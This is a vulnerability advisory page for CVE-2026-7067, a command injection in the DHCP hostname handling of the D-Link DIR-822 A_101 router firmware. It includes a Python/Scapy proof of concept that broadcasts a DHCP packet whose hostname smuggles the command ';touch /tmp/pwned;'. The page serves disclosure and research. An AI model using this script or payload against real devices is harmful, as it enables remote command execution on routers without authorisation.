Security Vulnerability Report
中文
CVE-2026-7067 CVSS 7.3 HIGH

CVE-2026-7067

Published: 2026-04-27 00:16:21
Last Modified: 2026-04-30 14:09:14

Description

A vulnerability was determined in D-Link DIR-822 A_101. The impacted element is the function system of the file /udhcpcd/dhcpd.c of the component udhcpd DHCP Service. This manipulation of the argument Hostname causes command injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. This vulnerability only affects products that are no longer supported by the maintainer.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-822_firmware:1.0.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-822:a1:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-822 A_101

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-7067 # Exploiting Command Injection in DHCP Hostname import sys from scapy.all import * def exploit(target_ip): # Malicious payload: Touch a file to prove execution payload = ";touch /tmp/pwned;" # Construct a DHCP Discover packet with the malicious hostname dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0", dst="255.255.255.255") \ /UDP(sport=68, dport=67) \ /BOOTP(chaddr=RandMAC()) \ /DHCP(options=[ ("message-type", "discover"), ("hostname", payload), ("param_req_list", [1, 3, 6, 15, 119]), "end" ]) print(f"[*] Sending malicious DHCP packet to {target_ip}...") sendp(dhcp_discover, iface=conf.iface, verbose=0) print("[+] Payload sent. Check /tmp/pwned on the device.") if __name__ == "__main__": exploit("255.255.255.255")

References

Raw JSON Data

JSON
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